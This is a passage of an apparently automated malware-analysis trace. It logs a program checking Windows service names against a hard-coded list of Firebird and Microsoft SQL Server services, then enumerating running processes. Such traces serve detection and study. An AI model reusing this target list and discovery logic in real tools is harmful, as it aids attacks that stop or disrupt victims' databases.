(lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0170.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0170.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0170.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0170.652] lstrlenW (lpString="BFE") returned 3 [0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0170.652] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0170.652] lstrlenW (lpString="CDPSvc") returned 6 [0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0170.652] lstrlenW (lpString="ClickToRunSvc") returned 13 [0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0170.652] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0170.652] lstrlenW (lpString="CryptSvc") returned 8 [0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0170.653] lstrlenW (lpString="DcomLaunch") returned 10 [0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0170.653] lstrlenW (lpString="DeviceAssociationService") returned 24 [0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0170.653] lstrlenW (lpString="Dhcp") returned 4 [0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0170.653] lstrlenW (lpString="Dnscache") returned 8 [0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0170.653] lstrlenW (lpString="DPS") returned 3 [0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0170.653] lstrlenW (lpString="DusmSvc") returned 7 [0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0170.654] lstrlenW (lpString="EventLog") returned 8 [0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0170.654] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0170.654] lstrlenW (lpString="EventSystem") returned 11 [0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0170.654] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0170.654] lstrlenW (lpString="FontCache") returned 9 [0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0170.654] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0170.654] lstrlenW (lpString="gpsvc") returned 5 [0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0170.654] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0170.654] lstrlenW (lpString="iphlpsvc") returned 8 [0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.654] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0170.654] lstrlenW (lpString="KeyIso") returned 6 [0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0170.654] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0170.655] lstrlenW (lpString="LanmanServer") returned 12 [0170.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0170.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0170.655] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0170.655] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0170.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0170.655] lstrlenW (lpString="LanmanWorkstation") returned 17 [0170.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.655] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0170.655] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0170.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0170.655] lstrlenW (lpString="lfsvc") returned 5 [0170.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0170.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0170.655] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0170.655] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0170.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0170.655] lstrlenW (lpString="lmhosts") returned 7 [0170.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0170.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0170.655] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0170.655] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0170.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0170.655] lstrlenW (lpString="LSM") returned 3 [0170.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0170.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0170.655] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0170.655] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0170.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0170.655] lstrlenW (lpString="MpsSvc") returned 6 [0170.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0170.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0170.655] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0170.655] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0170.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0170.656] lstrlenW (lpString="NcbService") returned 10 [0170.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0170.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0170.656] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0170.656] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0170.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0170.656] lstrlenW (lpString="netprofm") returned 8 [0170.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0170.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0170.656] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0170.656] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0170.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0170.656] lstrlenW (lpString="NgcSvc") returned 6 [0170.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0170.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0170.656] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0170.656] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0170.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0170.656] lstrlenW (lpString="NlaSvc") returned 6 [0170.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0170.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0170.656] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0170.656] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0170.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0170.656] lstrlenW (lpString="nsi") returned 3 [0170.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0170.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0170.656] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0170.656] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0170.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0170.656] lstrlenW (lpString="PcaSvc") returned 6 [0170.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0170.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0170.656] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0170.656] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0170.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0170.657] lstrlenW (lpString="PlugPlay") returned 8 [0170.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0170.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0170.657] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0170.657] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0170.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0170.657] lstrlenW (lpString="Power") returned 5 [0170.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0170.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0170.657] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0170.657] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0170.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0170.657] lstrlenW (lpString="ProfSvc") returned 7 [0170.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0170.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0170.657] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0170.657] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0170.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0170.657] lstrlenW (lpString="RpcEptMapper") returned 12 [0170.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.657] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0170.657] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0170.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0170.657] lstrlenW (lpString="RpcSs") returned 5 [0170.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0170.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0170.657] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0170.657] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0170.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0170.657] lstrlenW (lpString="SamSs") returned 5 [0170.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0170.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0170.657] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0170.657] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0170.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0170.658] lstrlenW (lpString="Schedule") returned 8 [0170.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0170.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0170.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0170.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0170.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0170.658] lstrlenW (lpString="SecurityHealthService") returned 21 [0170.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0170.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0170.658] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0170.658] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0170.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0170.658] lstrlenW (lpString="SENS") returned 4 [0170.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0170.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0170.658] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0170.658] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0170.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0170.658] lstrlenW (lpString="ShellHWDetection") returned 16 [0170.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.658] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0170.658] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0170.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0170.658] lstrlenW (lpString="Spooler") returned 7 [0170.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0170.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0170.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0170.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0170.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0170.658] lstrlenW (lpString="StateRepository") returned 15 [0170.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0170.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0170.658] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0170.658] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0170.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0170.659] lstrlenW (lpString="SysMain") returned 7 [0170.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0170.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0170.659] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0170.659] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0170.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0170.659] lstrlenW (lpString="SystemEventsBroker") returned 18 [0170.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0170.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0170.659] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0170.659] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0170.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0170.659] lstrlenW (lpString="Themes") returned 6 [0170.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0170.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0170.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0170.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0170.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0170.659] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0170.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0170.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0170.659] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0170.659] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0170.659] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0170.659] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x54c [0170.666] Process32FirstW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.666] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0170.667] lstrlenW (lpString="System") returned 6 [0170.667] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0170.667] lstrlenW (lpString="smss.exe") returned 8 [0170.667] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.668] lstrlenW (lpString="csrss.exe") returned 9 [0170.668] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0170.668] lstrlenW (lpString="wininit.exe") returned 11 [0170.668] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.669] lstrlenW (lpString="csrss.exe") returned 9 [0170.669] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0170.669] lstrlenW (lpString="winlogon.exe") returned 12 [0170.669] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0170.670] lstrlenW (lpString="services.exe") returned 12 [0170.670] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0170.670] lstrlenW (lpString="lsass.exe") returned 9 [0170.670] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0170.670] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0170.670] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0170.671] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0170.671] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, 